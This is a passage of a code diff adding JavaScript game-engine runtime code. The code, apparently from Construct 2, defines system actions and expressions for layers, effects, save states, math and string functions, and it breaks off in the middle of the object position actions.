+ a = cr.to_radians(a);
+ a = cr.clamp_angle(a);
+ if (this.runtime.running_layout)
+ {
+ if (this.runtime.running_layout.angle !== a)
+ {
+ this.runtime.running_layout.angle = a;
+ this.runtime.redraw = true;
+ }
+ }
+ };
+ SysActs.prototype.SetLayerAngle = function (layer, a)
+ {
+ if (!layer)
+ return;
+ a = cr.to_radians(a);
+ a = cr.clamp_angle(a);
+ if (layer.angle === a)
+ return;
+ layer.angle = a;
+ this.runtime.redraw = true;
+ };
+ SysActs.prototype.SetLayerParallax = function (layer, px, py)
+ {
+ if (!layer)
+ return;
+ if (layer.parallaxX === px / 100 && layer.parallaxY === py / 100)
+ return;
+ layer.parallaxX = px / 100;
+ layer.parallaxY = py / 100;
+ if (layer.parallaxX !== 1 || layer.parallaxY !== 1)
+ {
+ var i, len, instances = layer.instances;
+ for (i = 0, len = instances.length; i < len; ++i)
+ {
+ instances[i].type.any_instance_parallaxed = true;
+ }
+ }
+ this.runtime.redraw = true;
+ };
+ SysActs.prototype.SetLayerBackground = function (layer, c)
+ {
+ if (!layer)
+ return;
+ var r = cr.GetRValue(c);
+ var g = cr.GetGValue(c);
+ var b = cr.GetBValue(c);
+ if (layer.background_color[0] === r && layer.background_color[1] === g && layer.background_color[2] === b)
+ return;
+ layer.background_color[0] = r;
+ layer.background_color[1] = g;
+ layer.background_color[2] = b;
+ this.runtime.redraw = true;
+ };
+ SysActs.prototype.SetLayerTransparent = function (layer, t)
+ {
+ if (!layer)
+ return;
+ if (!!t === !!layer.transparent)
+ return;
+ layer.transparent = !!t;
+ this.runtime.redraw = true;
+ };
+ SysActs.prototype.SetLayerBlendMode = function (layer, bm)
+ {
+ if (!layer)
+ return;
+ if (layer.blend_mode === bm)
+ return;
+ layer.blend_mode = bm;
+ layer.compositeOp = cr.effectToCompositeOp(layer.blend_mode);
+ if (this.runtime.gl)
+ cr.setGLBlend(layer, layer.blend_mode, this.runtime.gl);
+ this.runtime.redraw = true;
+ };
+ SysActs.prototype.StopLoop = function ()
+ {
+ if (this.runtime.loop_stack_index < 0)
+ return; // no loop currently running
+ this.runtime.getCurrentLoop().stopped = true;
+ };
+ SysActs.prototype.GoToLayoutByName = function (layoutname)
+ {
+ if (this.runtime.isloading)
+ return; // cannot change layout while loading on loader layout
+ if (this.runtime.changelayout)
+ return; // already changing to different layout
+;
+ var l;
+ for (l in this.runtime.layouts)
+ {
+ if (this.runtime.layouts.hasOwnProperty(l) && cr.equals_nocase(l, layoutname))
+ {
+ this.runtime.changelayout = this.runtime.layouts[l];
+ return;
+ }
+ }
+ };
+ SysActs.prototype.RestartLayout = function (layoutname)
+ {
+ if (this.runtime.isloading)
+ return; // cannot restart loader layouts
+ if (this.runtime.changelayout)
+ return; // already changing to a different layout
+;
+ if (!this.runtime.running_layout)
+ return;
+ this.runtime.changelayout = this.runtime.running_layout;
+ var i, len, g;
+ for (i = 0, len = this.runtime.allGroups.length; i < len; i++)
+ {
+ g = this.runtime.allGroups[i];
+ g.setGroupActive(g.initially_activated);
+ }
+ };
+ SysActs.prototype.SnapshotCanvas = function (format_, quality_)
+ {
+ this.runtime.doCanvasSnapshot(format_ === 0 ? "image/png" : "image/jpeg", quality_ / 100);
+ };
+ SysActs.prototype.SetCanvasSize = function (w, h)
+ {
+ if (w <= 0 || h <= 0)
+ return;
+ var mode = this.runtime.fullscreen_mode;
+ var isfullscreen = (document["mozFullScreen"] || document["webkitIsFullScreen"] || !!document["msFullscreenElement"] || document["fullScreen"] || this.runtime.isNodeFullscreen);
+ if (isfullscreen && this.runtime.fullscreen_scaling > 0)
+ mode = this.runtime.fullscreen_scaling;
+ if (mode === 0)
+ {
+ this.runtime["setSize"](w, h, true);
+ }
+ else
+ {
+ this.runtime.original_width = w;
+ this.runtime.original_height = h;
+ this.runtime["setSize"](this.runtime.lastWindowWidth, this.runtime.lastWindowHeight, true);
+ }
+ };
+ SysActs.prototype.SetLayoutEffectEnabled = function (enable_, effectname_)
+ {
+ if (!this.runtime.running_layout || !this.runtime.glwrap)
+ return;
+ var et = this.runtime.running_layout.getEffectByName(effectname_);
+ if (!et)
+ return; // effect name not found
+ var enable = (enable_ === 1);
+ if (et.active == enable)
+ return; // no change
+ et.active = enable;
+ this.runtime.running_layout.updateActiveEffects();
+ this.runtime.redraw = true;
+ };
+ SysActs.prototype.SetLayerEffectEnabled = function (layer, enable_, effectname_)
+ {
+ if (!layer || !this.runtime.glwrap)
+ return;
+ var et = layer.getEffectByName(effectname_);
+ if (!et)
+ return; // effect name not found
+ var enable = (enable_ === 1);
+ if (et.active == enable)
+ return; // no change
+ et.active = enable;
+ layer.updateActiveEffects();
+ this.runtime.redraw = true;
+ };
+ SysActs.prototype.SetLayoutEffectParam = function (effectname_, index_, value_)
+ {
+ if (!this.runtime.running_layout || !this.runtime.glwrap)
+ return;
+ var et = this.runtime.running_layout.getEffectByName(effectname_);
+ if (!et)
+ return; // effect name not found
+ var params = this.runtime.running_layout.effect_params[et.index];
+ index_ = Math.floor(index_);
+ if (index_ < 0 || index_ >= params.length)
+ return; // effect index out of bounds
+ if (this.runtime.glwrap.getProgramParameterType(et.shaderindex, index_) === 1)
+ value_ /= 100.0;
+ if (params[index_] === value_)
+ return; // no change
+ params[index_] = value_;
+ if (et.active)
+ this.runtime.redraw = true;
+ };
+ SysActs.prototype.SetLayerEffectParam = function (layer, effectname_, index_, value_)
+ {
+ if (!layer || !this.runtime.glwrap)
+ return;
+ var et = layer.getEffectByName(effectname_);
+ if (!et)
+ return; // effect name not found
+ var params = layer.effect_params[et.index];
+ index_ = Math.floor(index_);
+ if (index_ < 0 || index_ >= params.length)
+ return; // effect index out of bounds
+ if (this.runtime.glwrap.getProgramParameterType(et.shaderindex, index_) === 1)
+ value_ /= 100.0;
+ if (params[index_] === value_)
+ return; // no change
+ params[index_] = value_;
+ if (et.active)
+ this.runtime.redraw = true;
+ };
+ SysActs.prototype.SaveState = function (slot_)
+ {
+ this.runtime.saveToSlot = slot_;
+ };
+ SysActs.prototype.LoadState = function (slot_)
+ {
+ this.runtime.loadFromSlot = slot_;
+ };
+ SysActs.prototype.LoadStateJSON = function (jsonstr_)
+ {
+ this.runtime.loadFromJson = jsonstr_;
+ };
+ SysActs.prototype.SetHalfFramerateMode = function (set_)
+ {
+ this.runtime.halfFramerateMode = (set_ !== 0);
+ };
+ SysActs.prototype.SetFullscreenQuality = function (q)
+ {
+ var isfullscreen = (document["mozFullScreen"] || document["webkitIsFullScreen"] || !!document["msFullscreenElement"] || document["fullScreen"] || this.isNodeFullscreen);
+ if (!isfullscreen && this.runtime.fullscreen_mode === 0)
+ return;
+ this.runtime.wantFullscreenScalingQuality = (q !== 0);
+ this.runtime["setSize"](this.runtime.lastWindowWidth, this.runtime.lastWindowHeight, true);
+ };
+ SysActs.prototype.ResetPersisted = function ()
+ {
+ var i, len;
+ for (i = 0, len = this.runtime.layouts_by_index.length; i < len; ++i)
+ {
+ this.runtime.layouts_by_index[i].persist_data = {};
+ this.runtime.layouts_by_index[i].first_visit = true;
+ }
+ };
+ SysActs.prototype.RecreateInitialObjects = function (obj, x1, y1, x2, y2)
+ {
+ if (!obj)
+ return;
+ this.runtime.running_layout.recreateInitialObjects(obj, x1, y1, x2, y2);
+ };
+ SysActs.prototype.SetPixelRounding = function (m)
+ {
+ this.runtime.pixel_rounding = (m !== 0);
+ this.runtime.redraw = true;
+ };
+ SysActs.prototype.SetMinimumFramerate = function (f)
+ {
+ if (f < 1)
+ f = 1;
+ if (f > 120)
+ f = 120;
+ this.runtime.minimumFramerate = f;
+ };
+ function SortZOrderList(a, b)
+ {
+ var layerA = a[0];
+ var layerB = b[0];
+ var diff = layerA - layerB;
+ if (diff !== 0)
+ return diff;
+ var indexA = a[1];
+ var indexB = b[1];
+ return indexA - indexB;
+ };
+ function SortInstancesByValue(a, b)
+ {
+ return a[1] - b[1];
+ };
+ SysActs.prototype.SortZOrderByInstVar = function (obj, iv)
+ {
+ if (!obj)
+ return;
+ var i, len, inst, value, r, layer, toZ;
+ var sol = obj.getCurrentSol();
+ var pickedInstances = sol.getObjects();
+ var zOrderList = [];
+ var instValues = [];
+ var layout = this.runtime.running_layout;
+ var isFamily = obj.is_family;
+ var familyIndex = obj.family_index;
+ for (i = 0, len = pickedInstances.length; i < len; ++i)
+ {
+ inst = pickedInstances[i];
+ if (!inst.layer)
+ continue; // not a world instance
+ if (isFamily)
+ value = inst.instance_vars[iv + inst.type.family_var_map[familyIndex]];
+ else
+ value = inst.instance_vars[iv];
+ zOrderList.push([
+ inst.layer.index,
+ inst.get_zindex()
+ ]);
+ instValues.push([
+ inst,
+ value
+ ]);
+ }
+ if (!zOrderList.length)
+ return; // no instances were world instances
+ zOrderList.sort(SortZOrderList);
+ instValues.sort(SortInstancesByValue);
+ for (i = 0, len = zOrderList.length; i < len; ++i)
+ {
+ inst = instValues[i][0]; // instance in the order we want
+ layer = layout.layers[zOrderList[i][0]]; // layer to put it on
+ toZ = zOrderList[i][1]; // Z index on that layer to put it
+ if (layer.instances[toZ] !== inst) // not already got this instance there
+ {
+ layer.instances[toZ] = inst; // update instance
+ inst.layer = layer; // update instance's layer reference (could have changed)
+ layer.setZIndicesStaleFrom(toZ); // mark Z indices stale from this point since they have changed
+ }
+ }
+ };
+ sysProto.acts = new SysActs();
+ function SysExps() {};
+ SysExps.prototype["int"] = function(ret, x)
+ {
+ if (cr.is_string(x))
+ {
+ ret.set_int(parseInt(x, 10));
+ if (isNaN(ret.data))
+ ret.data = 0;
+ }
+ else
+ ret.set_int(x);
+ };
+ SysExps.prototype["float"] = function(ret, x)
+ {
+ if (cr.is_string(x))
+ {
+ ret.set_float(parseFloat(x));
+ if (isNaN(ret.data))
+ ret.data = 0;
+ }
+ else
+ ret.set_float(x);
+ };
+ SysExps.prototype.str = function(ret, x)
+ {
+ if (cr.is_string(x))
+ ret.set_string(x);
+ else
+ ret.set_string(x.toString());
+ };
+ SysExps.prototype.len = function(ret, x)
+ {
+ ret.set_int(x.length || 0);
+ };
+ SysExps.prototype.random = function (ret, a, b)
+ {
+ if (b === undefined)
+ {
+ ret.set_float(Math.random() * a);
+ }
+ else
+ {
+ ret.set_float(Math.random() * (b - a) + a);
+ }
+ };
+ SysExps.prototype.sqrt = function(ret, x)
+ {
+ ret.set_float(Math.sqrt(x));
+ };
+ SysExps.prototype.abs = function(ret, x)
+ {
+ ret.set_float(Math.abs(x));
+ };
+ SysExps.prototype.round = function(ret, x)
+ {
+ ret.set_int(Math.round(x));
+ };
+ SysExps.prototype.floor = function(ret, x)
+ {
+ ret.set_int(Math.floor(x));
+ };
+ SysExps.prototype.ceil = function(ret, x)
+ {
+ ret.set_int(Math.ceil(x));
+ };
+ SysExps.prototype.sin = function(ret, x)
+ {
+ ret.set_float(Math.sin(cr.to_radians(x)));
+ };
+ SysExps.prototype.cos = function(ret, x)
+ {
+ ret.set_float(Math.cos(cr.to_radians(x)));
+ };
+ SysExps.prototype.tan = function(ret, x)
+ {
+ ret.set_float(Math.tan(cr.to_radians(x)));
+ };
+ SysExps.prototype.asin = function(ret, x)
+ {
+ ret.set_float(cr.to_degrees(Math.asin(x)));
+ };
+ SysExps.prototype.acos = function(ret, x)
+ {
+ ret.set_float(cr.to_degrees(Math.acos(x)));
+ };
+ SysExps.prototype.atan = function(ret, x)
+ {
+ ret.set_float(cr.to_degrees(Math.atan(x)));
+ };
+ SysExps.prototype.exp = function(ret, x)
+ {
+ ret.set_float(Math.exp(x));
+ };
+ SysExps.prototype.ln = function(ret, x)
+ {
+ ret.set_float(Math.log(x));
+ };
+ SysExps.prototype.log10 = function(ret, x)
+ {
+ ret.set_float(Math.log(x) / Math.LN10);
+ };
+ SysExps.prototype.max = function(ret)
+ {
+ var max_ = arguments[1];
+ if (typeof max_ !== "number")
+ max_ = 0;
+ var i, len, a;
+ for (i = 2, len = arguments.length; i < len; i++)
+ {
+ a = arguments[i];
+ if (typeof a !== "number")
+ continue; // ignore non-numeric types
+ if (max_ < a)
+ max_ = a;
+ }
+ ret.set_float(max_);
+ };
+ SysExps.prototype.min = function(ret)
+ {
+ var min_ = arguments[1];
+ if (typeof min_ !== "number")
+ min_ = 0;
+ var i, len, a;
+ for (i = 2, len = arguments.length; i < len; i++)
+ {
+ a = arguments[i];
+ if (typeof a !== "number")
+ continue; // ignore non-numeric types
+ if (min_ > a)
+ min_ = a;
+ }
+ ret.set_float(min_);
+ };
+ SysExps.prototype.dt = function(ret)
+ {
+ ret.set_float(this.runtime.dt);
+ };
+ SysExps.prototype.timescale = function(ret)
+ {
+ ret.set_float(this.runtime.timescale);
+ };
+ SysExps.prototype.wallclocktime = function(ret)
+ {
+ ret.set_float((Date.now() - this.runtime.start_time) / 1000.0);
+ };
+ SysExps.prototype.time = function(ret)
+ {
+ ret.set_float(this.runtime.kahanTime.sum);
+ };
+ SysExps.prototype.tickcount = function(ret)
+ {
+ ret.set_int(this.runtime.tickcount);
+ };
+ SysExps.prototype.objectcount = function(ret)
+ {
+ ret.set_int(this.runtime.objectcount);
+ };
+ SysExps.prototype.fps = function(ret)
+ {
+ ret.set_int(this.runtime.fps);
+ };
+ SysExps.prototype.loopindex = function(ret, name_)
+ {
+ var loop, i, len;
+ if (!this.runtime.loop_stack.length)
+ {
+ ret.set_int(0);
+ return;
+ }
+ if (name_)
+ {
+ for (i = this.runtime.loop_stack_index; i >= 0; --i)
+ {
+ loop = this.runtime.loop_stack[i];
+ if (loop.name === name_)
+ {
+ ret.set_int(loop.index);
+ return;
+ }
+ }
+ ret.set_int(0);
+ }
+ else
+ {
+ loop = this.runtime.getCurrentLoop();
+ ret.set_int(loop ? loop.index : -1);
+ }
+ };
+ SysExps.prototype.distance = function(ret, x1, y1, x2, y2)
+ {
+ ret.set_float(cr.distanceTo(x1, y1, x2, y2));
+ };
+ SysExps.prototype.angle = function(ret, x1, y1, x2, y2)
+ {
+ ret.set_float(cr.to_degrees(cr.angleTo(x1, y1, x2, y2)));
+ };
+ SysExps.prototype.scrollx = function(ret)
+ {
+ ret.set_float(this.runtime.running_layout.scrollX);
+ };
+ SysExps.prototype.scrolly = function(ret)
+ {
+ ret.set_float(this.runtime.running_layout.scrollY);
+ };
+ SysExps.prototype.newline = function(ret)
+ {
+ ret.set_string("\n");
+ };
+ SysExps.prototype.lerp = function(ret, a, b, x)
+ {
+ ret.set_float(cr.lerp(a, b, x));
+ };
+ SysExps.prototype.qarp = function(ret, a, b, c, x)
+ {
+ ret.set_float(cr.qarp(a, b, c, x));
+ };
+ SysExps.prototype.cubic = function(ret, a, b, c, d, x)
+ {
+ ret.set_float(cr.cubic(a, b, c, d, x));
+ };
+ SysExps.prototype.cosp = function(ret, a, b, x)
+ {
+ ret.set_float(cr.cosp(a, b, x));
+ };
+ SysExps.prototype.windowwidth = function(ret)
+ {
+ ret.set_int(this.runtime.width);
+ };
+ SysExps.prototype.windowheight = function(ret)
+ {
+ ret.set_int(this.runtime.height);
+ };
+ SysExps.prototype.uppercase = function(ret, str)
+ {
+ ret.set_string(cr.is_string(str) ? str.toUpperCase() : "");
+ };
+ SysExps.prototype.lowercase = function(ret, str)
+ {
+ ret.set_string(cr.is_string(str) ? str.toLowerCase() : "");
+ };
+ SysExps.prototype.clamp = function(ret, x, l, u)
+ {
+ if (x < l)
+ ret.set_float(l);
+ else if (x > u)
+ ret.set_float(u);
+ else
+ ret.set_float(x);
+ };
+ SysExps.prototype.layerscale = function (ret, layerparam)
+ {
+ var layer = this.runtime.getLayer(layerparam);
+ if (!layer)
+ ret.set_float(0);
+ else
+ ret.set_float(layer.scale);
+ };
+ SysExps.prototype.layeropacity = function (ret, layerparam)
+ {
+ var layer = this.runtime.getLayer(layerparam);
+ if (!layer)
+ ret.set_float(0);
+ else
+ ret.set_float(layer.opacity * 100);
+ };
+ SysExps.prototype.layerscalerate = function (ret, layerparam)
+ {
+ var layer = this.runtime.getLayer(layerparam);
+ if (!layer)
+ ret.set_float(0);
+ else
+ ret.set_float(layer.zoomRate);
+ };
+ SysExps.prototype.layerparallaxx = function (ret, layerparam)
+ {
+ var layer = this.runtime.getLayer(layerparam);
+ if (!layer)
+ ret.set_float(0);
+ else
+ ret.set_float(layer.parallaxX * 100);
+ };
+ SysExps.prototype.layerparallaxy = function (ret, layerparam)
+ {
+ var layer = this.runtime.getLayer(layerparam);
+ if (!layer)
+ ret.set_float(0);
+ else
+ ret.set_float(layer.parallaxY * 100);
+ };
+ SysExps.prototype.layerindex = function (ret, layerparam)
+ {
+ var layer = this.runtime.getLayer(layerparam);
+ if (!layer)
+ ret.set_int(-1);
+ else
+ ret.set_int(layer.index);
+ };
+ SysExps.prototype.layoutscale = function (ret)
+ {
+ if (this.runtime.running_layout)
+ ret.set_float(this.runtime.running_layout.scale);
+ else
+ ret.set_float(0);
+ };
+ SysExps.prototype.layoutangle = function (ret)
+ {
+ ret.set_float(cr.to_degrees(this.runtime.running_layout.angle));
+ };
+ SysExps.prototype.layerangle = function (ret, layerparam)
+ {
+ var layer = this.runtime.getLayer(layerparam);
+ if (!layer)
+ ret.set_float(0);
+ else
+ ret.set_float(cr.to_degrees(layer.angle));
+ };
+ SysExps.prototype.layoutwidth = function (ret)
+ {
+ ret.set_int(this.runtime.running_layout.width);
+ };
+ SysExps.prototype.layoutheight = function (ret)
+ {
+ ret.set_int(this.runtime.running_layout.height);
+ };
+ SysExps.prototype.find = function (ret, text, searchstr)
+ {
+ if (cr.is_string(text) && cr.is_string(searchstr))
+ ret.set_int(text.search(new RegExp(cr.regexp_escape(searchstr), "i")));
+ else
+ ret.set_int(-1);
+ };
+ SysExps.prototype.findcase = function (ret, text, searchstr)
+ {
+ if (cr.is_string(text) && cr.is_string(searchstr))
+ ret.set_int(text.search(new RegExp(cr.regexp_escape(searchstr), "")));
+ else
+ ret.set_int(-1);
+ };
+ SysExps.prototype.left = function (ret, text, n)
+ {
+ ret.set_string(cr.is_string(text) ? text.substr(0, n) : "");
+ };
+ SysExps.prototype.right = function (ret, text, n)
+ {
+ ret.set_string(cr.is_string(text) ? text.substr(text.length - n) : "");
+ };
+ SysExps.prototype.mid = function (ret, text, index_, length_)
+ {
+ ret.set_string(cr.is_string(text) ? text.substr(index_, length_) : "");
+ };
+ SysExps.prototype.tokenat = function (ret, text, index_, sep)
+ {
+ if (cr.is_string(text) && cr.is_string(sep))
+ {
+ var arr = text.split(sep);
+ var i = cr.floor(index_);
+ if (i < 0 || i >= arr.length)
+ ret.set_string("");
+ else
+ ret.set_string(arr[i]);
+ }
+ else
+ ret.set_string("");
+ };
+ SysExps.prototype.tokencount = function (ret, text, sep)
+ {
+ if (cr.is_string(text) && text.length)
+ ret.set_int(text.split(sep).length);
+ else
+ ret.set_int(0);
+ };
+ SysExps.prototype.replace = function (ret, text, find_, replace_)
+ {
+ if (cr.is_string(text) && cr.is_string(find_) && cr.is_string(replace_))
+ ret.set_string(text.replace(new RegExp(cr.regexp_escape(find_), "gi"), replace_));
+ else
+ ret.set_string(cr.is_string(text) ? text : "");
+ };
+ SysExps.prototype.trim = function (ret, text)
+ {
+ ret.set_string(cr.is_string(text) ? text.trim() : "");
+ };
+ SysExps.prototype.pi = function (ret)
+ {
+ ret.set_float(cr.PI);
+ };
+ SysExps.prototype.layoutname = function (ret)
+ {
+ if (this.runtime.running_layout)
+ ret.set_string(this.runtime.running_layout.name);
+ else
+ ret.set_string("");
+ };
+ SysExps.prototype.renderer = function (ret)
+ {
+ ret.set_string(this.runtime.gl ? "webgl" : "canvas2d");
+ };
+ SysExps.prototype.rendererdetail = function (ret)
+ {
+ ret.set_string(this.runtime.glUnmaskedRenderer);
+ };
+ SysExps.prototype.anglediff = function (ret, a, b)
+ {
+ ret.set_float(cr.to_degrees(cr.angleDiff(cr.to_radians(a), cr.to_radians(b))));
+ };
+ SysExps.prototype.choose = function (ret)
+ {
+ var index = cr.floor(Math.random() * (arguments.length - 1));
+ ret.set_any(arguments[index + 1]);
+ };
+ SysExps.prototype.rgb = function (ret, r, g, b)
+ {
+ ret.set_int(cr.RGB(r, g, b));
+ };
+ SysExps.prototype.projectversion = function (ret)
+ {
+ ret.set_string(this.runtime.versionstr);
+ };
+ SysExps.prototype.projectname = function (ret)
+ {
+ ret.set_string(this.runtime.projectName);
+ };
+ SysExps.prototype.anglelerp = function (ret, a, b, x)
+ {
+ a = cr.to_radians(a);
+ b = cr.to_radians(b);
+ var diff = cr.angleDiff(a, b);
+ if (cr.angleClockwise(b, a))
+ {
+ ret.set_float(cr.to_clamped_degrees(a + diff * x));
+ }
+ else
+ {
+ ret.set_float(cr.to_clamped_degrees(a - diff * x));
+ }
+ };
+ SysExps.prototype.anglerotate = function (ret, a, b, c)
+ {
+ a = cr.to_radians(a);
+ b = cr.to_radians(b);
+ c = cr.to_radians(c);
+ ret.set_float(cr.to_clamped_degrees(cr.angleRotate(a, b, c)));
+ };
+ SysExps.prototype.zeropad = function (ret, n, d)
+ {
+ var s = (n < 0 ? "-" : "");
+ if (n < 0) n = -n;
+ var zeroes = d - n.toString().length;
+ for (var i = 0; i < zeroes; i++)
+ s += "0";
+ ret.set_string(s + n.toString());
+ };
+ SysExps.prototype.cpuutilisation = function (ret)
+ {
+ ret.set_float(this.runtime.cpuutilisation / 1000);
+ };
+ SysExps.prototype.viewportleft = function (ret, layerparam)
+ {
+ var layer = this.runtime.getLayer(layerparam);
+ ret.set_float(layer ? layer.viewLeft : 0);
+ };
+ SysExps.prototype.viewporttop = function (ret, layerparam)
+ {
+ var layer = this.runtime.getLayer(layerparam);
+ ret.set_float(layer ? layer.viewTop : 0);
+ };
+ SysExps.prototype.viewportright = function (ret, layerparam)
+ {
+ var layer = this.runtime.getLayer(layerparam);
+ ret.set_float(layer ? layer.viewRight : 0);
+ };
+ SysExps.prototype.viewportbottom = function (ret, layerparam)
+ {
+ var layer = this.runtime.getLayer(layerparam);
+ ret.set_float(layer ? layer.viewBottom : 0);
+ };
+ SysExps.prototype.loadingprogress = function (ret)
+ {
+ ret.set_float(this.runtime.loadingprogress);
+ };
+ SysExps.prototype.unlerp = function(ret, a, b, y)
+ {
+ ret.set_float(cr.unlerp(a, b, y));
+ };
+ SysExps.prototype.canvassnapshot = function (ret)
+ {
+ ret.set_string(this.runtime.snapshotData);
+ };
+ SysExps.prototype.urlencode = function (ret, s)
+ {
+ ret.set_string(encodeURIComponent(s));
+ };
+ SysExps.prototype.urldecode = function (ret, s)
+ {
+ ret.set_string(decodeURIComponent(s));
+ };
+ SysExps.prototype.canvastolayerx = function (ret, layerparam, x, y)
+ {
+ var layer = this.runtime.getLayer(layerparam);
+ ret.set_float(layer ? layer.canvasToLayer(x, y, true) : 0);
+ };
+ SysExps.prototype.canvastolayery = function (ret, layerparam, x, y)
+ {
+ var layer = this.runtime.getLayer(layerparam);
+ ret.set_float(layer ? layer.canvasToLayer(x, y, false) : 0);
+ };
+ SysExps.prototype.layertocanvasx = function (ret, layerparam, x, y)
+ {
+ var layer = this.runtime.getLayer(layerparam);
+ ret.set_float(layer ? layer.layerToCanvas(x, y, true) : 0);
+ };
+ SysExps.prototype.layertocanvasy = function (ret, layerparam, x, y)
+ {
+ var layer = this.runtime.getLayer(layerparam);
+ ret.set_float(layer ? layer.layerToCanvas(x, y, false) : 0);
+ };
+ SysExps.prototype.savestatejson = function (ret)
+ {
+ ret.set_string(this.runtime.lastSaveJson);
+ };
+ SysExps.prototype.imagememoryusage = function (ret)
+ {
+ if (this.runtime.glwrap)
+ ret.set_float(Math.round(100 * this.runtime.glwrap.estimateVRAM() / (1024 * 1024)) / 100);
+ else
+ ret.set_float(0);
+ };
+ SysExps.prototype.regexsearch = function (ret, str_, regex_, flags_)
+ {
+ var regex = getRegex(regex_, flags_);
+ ret.set_int(str_ ? str_.search(regex) : -1);
+ };
+ SysExps.prototype.regexreplace = function (ret, str_, regex_, flags_, replace_)
+ {
+ var regex = getRegex(regex_, flags_);
+ ret.set_string(str_ ? str_.replace(regex, replace_) : "");
+ };
+ var regexMatches = [];
+ var lastMatchesStr = "";
+ var lastMatchesRegex = "";
+ var lastMatchesFlags = "";
+ function updateRegexMatches(str_, regex_, flags_)
+ {
+ if (str_ === lastMatchesStr && regex_ === lastMatchesRegex && flags_ === lastMatchesFlags)
+ return;
+ var regex = getRegex(regex_, flags_);
+ regexMatches = str_.match(regex);
+ lastMatchesStr = str_;
+ lastMatchesRegex = regex_;
+ lastMatchesFlags = flags_;
+ };
+ SysExps.prototype.regexmatchcount = function (ret, str_, regex_, flags_)
+ {
+ var regex = getRegex(regex_, flags_);
+ updateRegexMatches(str_.toString(), regex_, flags_);
+ ret.set_int(regexMatches ? regexMatches.length : 0);
+ };
+ SysExps.prototype.regexmatchat = function (ret, str_, regex_, flags_, index_)
+ {
+ index_ = Math.floor(index_);
+ var regex = getRegex(regex_, flags_);
+ updateRegexMatches(str_.toString(), regex_, flags_);
+ if (!regexMatches || index_ < 0 || index_ >= regexMatches.length)
+ ret.set_string("");
+ else
+ ret.set_string(regexMatches[index_]);
+ };
+ SysExps.prototype.infinity = function (ret)
+ {
+ ret.set_float(Infinity);
+ };
+ SysExps.prototype.setbit = function (ret, n, b, v)
+ {
+ n = n | 0;
+ b = b | 0;
+ v = (v !== 0 ? 1 : 0);
+ ret.set_int((n & ~(1 << b)) | (v << b));
+ };
+ SysExps.prototype.togglebit = function (ret, n, b)
+ {
+ n = n | 0;
+ b = b | 0;
+ ret.set_int(n ^ (1 << b));
+ };
+ SysExps.prototype.getbit = function (ret, n, b)
+ {
+ n = n | 0;
+ b = b | 0;
+ ret.set_int((n & (1 << b)) ? 1 : 0);
+ };
+ SysExps.prototype.originalwindowwidth = function (ret)
+ {
+ ret.set_int(this.runtime.original_width);
+ };
+ SysExps.prototype.originalwindowheight = function (ret)
+ {
+ ret.set_int(this.runtime.original_height);
+ };
+ sysProto.exps = new SysExps();
+ sysProto.runWaits = function ()
+ {
+ var i, j, len, w, k, s, ss;
+ var evinfo = this.runtime.getCurrentEventStack();
+ for (i = 0, len = this.waits.length; i < len; i++)
+ {
+ w = this.waits[i];
+ if (w.time === -1) // signalled wait
+ {
+ if (!w.signalled)
+ continue; // not yet signalled
+ }
+ else // timer wait
+ {
+ if (w.time > this.runtime.kahanTime.sum)
+ continue; // timer not yet expired
+ }
+ evinfo.current_event = w.ev;
+ evinfo.actindex = w.actindex;
+ evinfo.cndindex = 0;
+ for (k in w.sols)
+ {
+ if (w.sols.hasOwnProperty(k))
+ {
+ s = this.runtime.types_by_index[parseInt(k, 10)].getCurrentSol();
+ ss = w.sols[k];
+ s.select_all = ss.sa;
+ cr.shallowAssignArray(s.instances, ss.insts);
+ freeSolStateObject(ss);
+ }
+ }
+ w.ev.resume_actions_and_subevents();
+ this.runtime.clearSol(w.solModifiers);
+ w.deleteme = true;
+ }
+ for (i = 0, j = 0, len = this.waits.length; i < len; i++)
+ {
+ w = this.waits[i];
+ this.waits[j] = w;
+ if (w.deleteme)
+ freeWaitObject(w);
+ else
+ j++;
+ }
+ cr.truncateArray(this.waits, j);
+ };
+}());
+;
+(function () {
+ cr.add_common_aces = function (m, pluginProto)
+ {
+ var singleglobal_ = m[1];
+ var position_aces = m[3];
+ var size_aces = m[4];
+ var angle_aces = m[5];
+ var appearance_aces = m[6];
+ var zorder_aces = m[7];
+ var effects_aces = m[8];
+ if (!pluginProto.cnds)
+ pluginProto.cnds = {};
+ if (!pluginProto.acts)
+ pluginProto.acts = {};
+ if (!pluginProto.exps)
+ pluginProto.exps = {};
+ var cnds = pluginProto.cnds;
+ var acts = pluginProto.acts;
+ var exps = pluginProto.exps;
+ if (position_aces)
+ {
+ cnds.CompareX = function (cmp, x)
+ {
+ return cr.do_cmp(this.x, cmp, x);
+ };
+ cnds.CompareY = function (cmp, y)
+ {
+ return cr.do_cmp(this.y, cmp, y);
+ };
+ cnds.IsOnScreen = function ()
+ {
+ var layer = this.layer;
+ this.update_bbox();
+ var bbox = this.bbox;
+ return !(bbox.right < layer.viewLeft || bbox.bottom < layer.viewTop || bbox.left > layer.viewRight || bbox.top > layer.viewBottom);
+ };
+ cnds.IsOutsideLayout = function ()
+ {
+ this.update_bbox();
+ var bbox = this.bbox;
+ var layout = this.runtime.running_layout;
+ return (bbox.right < 0 || bbox.bottom < 0 || bbox.left > layout.width || bbox.top > layout.height);
+ };
+ cnds.PickDistance = function (which, x, y)
+ {
+ var sol = this.getCurrentSol();
+ var instances = sol.getObjects();
+ if (!instances.length)
+ return false;
+ var inst = instances[0];
+ var pickme = inst;
+ var dist = cr.distanceTo(inst.x, inst.y, x, y);
+ var i, len, d;
+ for (i = 1, len = instances.length; i < len; i++)
+ {
+ inst = instances[i];
+ d = cr.distanceTo(inst.x, inst.y, x, y);
+ if ((which === 0 && d < dist) || (which === 1 && d > dist))
+ {
+ dist = d;
+ pickme = inst;
+ }
+ }
+ sol.pick_one(pickme);
+ return true;
+ };
+ acts.SetX = function (x)
+ {
+ if (this.x !== x)
+ {
+ this.x = x;
+ this.set_bbox_changed();
+ }
+ };
+ acts.SetY = function (y)
+ {
+ if (this.y !== y)
+ {
+ this.y = y;
+ this.set_bbox_changed();
+ }
+ };
+ acts.SetPos = function (x, y)
+ {
+ if (this.x !== x || this.y !== y)
+ {
+ this.x = x;
+ this.y = y;
+ this.set_bbox_changed();
+ }
+ };
+ acts.SetPosToObject = function (obj, imgpt)
+ {
+ var inst = obj.getPairedInstance(this);
+ if (!inst)
+ return;
+ var newx, newy;
+ if (inst.getImagePoint)
+ {
+ newx = inst.getImagePoint(imgpt, true);
+ newy = inst.getImagePoint(imgpt, false);
+ }
+ else
+ {
+ newx = inst.x;
+ newy = inst.y;
+ }
+ if (this.x !== newx || this.y !== newy)
+ {
